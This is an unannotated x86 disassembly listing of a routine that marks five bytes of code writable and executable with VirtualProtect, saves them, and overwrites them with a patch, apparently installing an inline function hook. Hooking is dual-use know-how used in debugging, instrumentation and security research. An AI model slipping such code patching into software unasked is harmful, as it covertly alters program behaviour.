mov eax, dword [ebp - 0x18]
lea ecx, [ebx + 0x20]
add esp, 0x10
cdq
push ecx
push edx
push eax
mov eax, edi
mov ecx, esi
cdq
push edx
push eax
call fcn.10052d00
mov dword [ebp - 4], 0xffffffff
mov ecx, eax
mov dword [ebx + 0xc], eax
mov edx, dword [eax]
call dword [edx + 0x14]
push 5
add ebx, 0x10
call fcn.1006429d
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov esi, eax
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
push ebx
call edi
mov ecx, dword [ebx]
mov dword [esi], ecx
movzx eax, byte [ebx + 4]
mov ecx, dword [ebp - 0x18]
mov byte [esi + 4], al
mov eax, dword [ecx]
mov dword [ebx], eax
movzx eax, byte [ecx + 4]
mov byte [ebx + 4], al
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 5
push ebx
call edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1006399c
mov esp, ebp
pop ebp
ret 8